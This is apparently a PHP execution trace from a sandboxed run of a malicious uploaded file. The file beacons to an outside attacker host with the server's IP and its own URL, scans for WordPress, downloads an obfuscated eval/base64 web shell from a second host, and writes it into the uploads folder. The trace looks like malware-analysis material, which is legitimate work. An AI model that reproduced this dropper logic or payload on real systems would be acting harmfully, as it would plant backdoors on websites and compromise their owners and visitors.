$this->zipname); unset($v_temp_zip); } else if ($v_central_dir[\'entries\'] != 0) { $this->privCloseFd(); if (($v_result = $this->privOpenFd(\'wb\')) != 1) { return $v_result; } if (($v_result = $this->privWriteCentralHeader(0, 0, 0, \'\')) != 1) { return $v_result; } $this->privCloseFd(); } return $v_result; } function privDirCheck($p_dir, $p_is_dir=false) { $v_result = 1; if (($p_is_dir) && (substr($p_dir, -1)==\'/\')) { $p_dir = substr($p_dir, 0, strlen($p_dir)-1); } if ((is_dir($p_dir)) || ($p_dir == "")) { return 1; } $p_parent_dir = dirname($p_dir); if ($p_parent_dir != $p_dir) { if ($p_parent_dir != "") { if (($v_result = $this->privDirCheck($p_parent_dir)) != 1) { return $v_result; } } } if (!@mkdir($p_dir, 0777)) { PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory \'$p_dir\'"); return PclZip::errorCode(); } return $v_result; } function privMerge(&$p_archive_to_add) { $v_result=1; if (!is_file($p_archive_to_add->zipname)) { $v_result = 1; return $v_result; } if (!is_file($this->zipname)) { $v_result = $this->privDuplicate($p_archive_to_add->zipname); return $v_result; } if (($v_result=$this->privOpenFd(\'rb\')) != 1) { return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); return $v_result; } @rewind($this->zip_fd); if (($v_result=$p_archive_to_add->privOpenFd(\'rb\')) != 1) { $this->privCloseFd(); return $v_result; } $v_central_dir_to_add = array(); if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); return $v_result; } @rewind($p_archive_to_add->zip_fd); $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.tmp\'; if (($v_zip_temp_fd = @fopen($v_zip_temp_name, \'wb\')) == 0) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_zip_temp_name.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_size = $v_central_dir[\'offset\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_size = $v_central_dir_to_add[\'offset\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_offset = @ftell($v_zip_temp_fd); $v_size = $v_central_dir[\'size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_size = $v_central_dir_to_add[\'size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_comment = $v_central_dir[\'comment\'].\' \'.$v_central_dir_to_add[\'comment\']; $v_size = @ftell($v_zip_temp_fd)-$v_offset; $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; if (($v_result = $this->privWriteCentralHeader($v_central_dir[\'entries\']+$v_central_dir_to_add[\'entries\'], $v_size, $v_offset, $v_comment)) != 1) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); @fclose($v_zip_temp_fd); $this->zip_fd = null; unset($v_header_list); return $v_result; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $this->privCloseFd(); $p_archive_to_add->privCloseFd(); @fclose($v_zip_temp_fd); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); return $v_result; } function privDuplicate($p_archive_filename) { $v_result=1; if (!is_file($p_archive_filename)) { $v_result = 1; return $v_result; } if (($v_result=$this->privOpenFd(\'wb\')) != 1) { return $v_result; } if (($v_zip_temp_fd = @fopen($p_archive_filename, \'rb\')) == 0) { $this->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open archive file \\\'\'.$p_archive_filename.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_size = filesize($p_archive_filename); while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($v_zip_temp_fd, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $this->privCloseFd(); @fclose($v_zip_temp_fd); return $v_result; } function privErrorLog($p_error_code=0, $p_error_string=\'\') { if (PCLZIP_ERROR_EXTERNAL == 1) { PclError($p_error_code, $p_error_string); } else { $this->error_code = $p_error_code; $this->error_string = $p_error_string; } } function privErrorReset() { if (PCLZIP_ERROR_EXTERNAL == 1) { PclErrorReset(); } else { $this->error_code = 0; $this->error_string = \'\'; } } function privDisableMagicQuotes() { $v_result=1; if ( (!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) { return $v_result; } if ($this->magic_quotes_status != -1) { return $v_result; } $this->magic_quotes_status = @get_magic_quotes_runtime(); if ($this->magic_quotes_status == 1) { @set_magic_quotes_runtime(0); } return $v_result; } function privSwapBackMagicQuotes() { $v_result=1; if ( (!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) { return $v_result; } if ($this->magic_quotes_status != -1) { return $v_result; } if ($this->magic_quotes_status == 1) { @set_magic_quotes_runtime($this->magic_quotes_status); } return $v_result; } } function PclZipUtilPathReduction($p_dir) { $v_result = ""; if ($p_dir != "") { $v_list = explode("/", $p_dir); $v_skip = 0; for ($i=sizeof($v_list)-1; $i>=0; $i--) { if ($v_list[$i] == ".") { } else if ($v_list[$i] == "..") { $v_skip++; } else if ($v_list[$i] == "") { if ($i == 0) { $v_result = "/".$v_result; if ($v_skip > 0) { $v_result = $p_dir; $v_skip = 0; } } else if ($i == (sizeof($v_list)-1)) { $v_result = $v_list[$i]; } else { } } else { if ($v_skip > 0) { $v_skip--; } else { $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:""); } } } if ($v_skip > 0) { while ($v_skip > 0) { $v_result = \'../\'.$v_result; $v_skip--; } } } return $v_result; } function PclZipUtilPathInclusion($p_dir, $p_path) { $v_result = 1; if ( ($p_dir == \'.\') || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == \'./\'))) { $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).\'/\'.substr($p_dir, 1); } if ( ($p_path == \'.\') || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == \'./\'))) { $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).\'/\'.substr($p_path, 1); } $v_list_dir = explode("/", $p_dir); $v_list_dir_size = sizeof($v_list_dir); $v_list_path = explode("/", $p_path); $v_list_path_size = sizeof($v_list_path); $i = 0; $j = 0; while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) { if ($v_list_dir[$i] == \'\') { $i++; continue; } if ($v_list_path[$j] == \'\') { $j++; continue; } if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != \'\') && ( $v_list_path[$j] != \'\')) { $v_result = 0; } $i++; $j++; } if ($v_result) { while (($j < $v_list_path_size) && ($v_list_path[$j] == \'\')) $j++; while (($i < $v_list_dir_size) && ($v_list_dir[$i] == \'\')) $i++; if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) { $v_result = 2; } else if ($i < $v_list_dir_size) { $v_result = 0; } } return $v_result; } function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0) { $v_result = 1; if ($p_mode==0) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_src, $v_read_size); @fwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==1) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($p_src, $v_read_size); @fwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==2) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_src, $v_read_size); @gzwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==3) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($p_src, $v_read_size); @gzwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } return $v_result; } function PclZipUtilRename($p_src, $p_dest) { $v_result = 1; if (!@rename($p_src, $p_dest)) { if (!@copy($p_src, $p_dest)) { $v_result = 0; } else if (!@unlink($p_src)) { $v_result = 0; } } return $v_result; } function PclZipUtilOptionText($p_option) { $v_list = get_defined_constants(); for (reset($v_list); $v_key = key($v_list); next($v_list)) { $v_prefix = substr($v_key, 0, 10); if (( ($v_prefix == \'PCLZIP_OPT\') || ($v_prefix == \'PCLZIP_CB_\') || ($v_prefix == \'PCLZIP_ATT\')) && ($v_list[$v_key] == $p_option)) { return $v_key; } } $v_result = \'Unknown\'; return $v_result; } function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true) { if (stristr(php_uname(), \'windows\')) { if (($p_remove_disk_letter) && (($v_position = strpos($p_path, \':\')) != false)) { $p_path = substr($p_path, $v_position+1); } if ((strpos($p_path, \'\\\\\') > 0) || (substr($p_path, 0,1) == \'\\\\\')) { $p_path = strtr($p_path, \'\\\\\', \'/\'); } } return $p_path; } ?>'	/var/www/html/uploads/uzip.php(4) : eval()'d code	1	0
4	20	0	0.015284	1369640	base64_decode	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	16	1	'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ=='
4	20	1	0.015307	1369736
4	20	R			'https://anonym0us.club/l-'
4	21	0	0.015324	1369704	GetIP	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	16	0
5	22	0	0.015341	1369704	getenv	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	3	1	'HTTP_CLIENT_IP'
5	22	1	0.015358	1369736
5	22	R			FALSE
5	23	0	0.015372	1369704	getenv	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	5	1	'HTTP_X_FORWARDED_FOR'
5	23	1	0.015387	1369736
5	23	R			FALSE
5	24	0	0.015401	1369704	getenv	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	12	1	'REMOTE_ADDR'
5	24	1	0.015417	1369776
5	24	R			'127.0.0.1'
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	12	$ip = '127.0.0.1'
4	21	1	0.015448	1369744
4	21	R			'127.0.0.1'
4	25	0	0.015464	1369768	base64_encode	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	16	1	'http://localhost/uploads/uzip.php'
4	25	1	0.015479	1369880
4	25	R			'aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3V6aXAucGhw'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	16	$x = 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3V6aXAucGhw'
4	26	0	0.015514	1369752	function_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	17	1	'curl_init'
4	26	1	0.015528	1369792
4	26	R			TRUE
4	27	0	0.015542	1369752	curl_init	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	0
4	27	1	0.015581	1370664
4	27	R			resource(3) of type (curl)
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	$ch = resource(3) of type (curl)
4	28	0	0.015618	1370664	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	3	resource(3) of type (curl)	10002	'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3V6aXAucGhw'
4	28	1	0.015639	1370760
4	28	R			TRUE
4	29	0	0.015653	1370664	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	3	resource(3) of type (curl)	19913	TRUE
4	29	1	0.015669	1370760
4	29	R			TRUE
4	30	0	0.015683	1370664	curl_exec	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	1	resource(3) of type (curl)
4	30	1	0.625250	1370696
4	30	R			''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	$gitt = ''
4	31	0	0.625309	1370664	curl_close	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	1	resource(3) of type (curl)
4	31	1	0.626129	1369808
4	31	R			NULL
4	32	0	0.626179	1369776	file_get_contents	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	21	1	'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3V6aXAucGhw'
4	32	1	1.059470	1371832
4	32	R			''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	21	$gitt = ''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	27	$document_root = '/var/www/html'
4	33	0	1.059559	1371792	dirname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	28	1	'/var/www/html/uploads/uzip.php(4) : eval()\'d code(1) : eval()\'d code'
4	33	1	1.059575	1371920
4	33	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	28	$document_root_file = '/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	29	$wp_detect = 0
4	34	0	1.059628	1371944	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	30	1	'/var/www/html/wp-load.php'
4	34	1	1.059656	1371984
4	34	R			FALSE
4	35	0	1.059670	1371888	explode	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	36	2	'/'	'/var/www/html/uploads'
4	35	1	1.059685	1372464
4	35	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	36	$prefix = 5
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	37	$a = ''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i = 0
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../'
4	36	0	1.059750	1371952	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../wp-load.php'
4	36	1	1.059768	1371992
4	36	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../../'
4	37	0	1.059809	1371984	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../../wp-load.php'
4	37	1	1.059827	1372024
4	37	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../../../'
4	38	0	1.059860	1372008	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../../../wp-load.php'
4	38	1	1.059876	1372048
4	38	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../../../../'
4	39	0	1.059908	1372008	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../../../../wp-load.php'
4	39	1	1.059923	1372048
4	39	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../../../../../'
4	40	0	1.059954	1372008	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../../../../../wp-load.php'
4	40	1	1.059971	1372048
4	40	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
4	41	0	1.059994	1371928	expandDirectories	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	87	1	'/var/www/html'
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	102	$directories = []
5	42	0	1.060020	1371928	scandir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	103	1	'/var/www/html'
5	42	1	1.060065	1372432
5	42	R			[0 => '.', 1 => '..', 2 => 'uploads']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads'
5	43	0	1.060096	1372448	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads'
5	43	1	1.060112	1372512
5	43	R			TRUE
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	107	$directories[] = '/var/www/html/uploads'
5	44	0	1.060137	1372848	expandDirectories	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	1	'/var/www/html/uploads'
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	102	$directories = []
6	45	0	1.060162	1372848	scandir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	103	1	'/var/www/html/uploads'
6	45	1	1.060187	1373472
6	45	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'uzip.php']
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/.htaccess'
6	46	0	1.060219	1373496	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/.htaccess'
6	46	1	1.060235	1373544
6	46	R			FALSE
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/data'
6	47	0	1.060258	1373504	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/data'
6	47	1	1.060273	1373544
6	47	R			TRUE
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	107	$directories[] = '/var/www/html/uploads/data'
6	48	0	1.060297	1373880	expandDirectories	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	1	'/var/www/html/uploads/data'
6		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	102	$directories = []
7	49	0	1.060321	1373880	scandir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	103	1	'/var/www/html/uploads/data'
7	49	1	1.060396	1374408
7	49	R			[0 => '.', 1 => '..', 2 => 'trace-1676238490.8178.xt.gz']
6		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/data/trace-1676238490.8178.xt.gz'
7	50	0	1.060445	1374456	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/data/trace-1676238490.8178.xt.gz'
7	50	1	1.060463	1374520
7	50	R			FALSE
6	48	1	1.060490	1373904
6	48	R			[]
6	51	0	1.060502	1373904	array_merge	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	2	[0 => '/var/www/html/uploads/data']	[]
6	51	1	1.060517	1374344
6	51	R			[0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	$directories = [0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/prepend.php'
6	52	0	1.060558	1373968	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/prepend.php'
6	52	1	1.060579	1373992
6	52	R			FALSE
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/uzip.php'
6	53	0	1.060603	1373944	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/uzip.php'
6	53	1	1.060618	1373976
6	53	R			FALSE
5	44	1	1.060630	1373288
5	44	R			[0 => '/var/www/html/uploads/data']
5	54	0	1.060645	1373288	array_merge	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	2	[0 => '/var/www/html/uploads']	[0 => '/var/www/html/uploads/data']
5	54	1	1.060661	1373728
5	54	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	41	1	1.060696	1372440
4	41	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	87	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	55	0	1.060783	1372440	http_get	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	88	1	'https://acbdf.space/txt/wp.txt'
5	56	0	1.060798	1372440	curl_init	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	115	1	'https://acbdf.space/txt/wp.txt'
5	56	1	1.060819	1373384
5	56	R			resource(9) of type (curl)
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	115	$im = resource(9) of type (curl)
5	57	0	1.060845	1373352	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	116	3	resource(9) of type (curl)	19913	1
5	57	1	1.060861	1373448
5	57	R			TRUE
5	58	0	1.060874	1373352	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	117	3	resource(9) of type (curl)	78	10
5	58	1	1.060889	1373448
5	58	R			TRUE
5	59	0	1.060901	1373352	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	118	3	resource(9) of type (curl)	52	1
5	59	1	1.060915	1373448
5	59	R			TRUE
5	60	0	1.060927	1373352	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	119	3	resource(9) of type (curl)	42	0
5	60	1	1.060941	1373448
5	60	R			TRUE
5	61	0	1.060953	1373352	curl_exec	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	120	1	resource(9) of type (curl)
5	61	1	1.713811	1418440
5	61	R			'<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
4	55	1	1.714769	1417496
4	55	R			'<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	88	$css = '<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
4	62	0	1.714995	1417496	preg_match	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	91	2	'#wp-content#'	'/var/www/html/uploads'
4	62	1	1.715203	1417560
4	62	R			0
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	93	$css_file = '/var/www/html/uploads/wp-inda.php'
4	63	0	1.715234	1417560	fopen	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	94	2	'/var/www/html/uploads/wp-inda.php'	'w'
4	63	1	1.715284	1418112
4	63	R			resource(10) of type (stream)
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	94	$open_css = resource(10) of type (stream)
4	64	0	1.715315	1418040	fwrite	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	95	2	resource(10) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
4	64	1	1.715404	1418104
4	64	R			41293
4	65	0	1.715419	1418040	fclose	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	96	1	resource(10) of type (stream)
4	65	1	1.715436	1417616
4	65	R			TRUE
4	66	0	1.715449	1417584	preg_match	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	91	2	'#wp-content#'	'/var/www/html/uploads/data'
4	66	1	1.715465	1417648
4	66	R			0
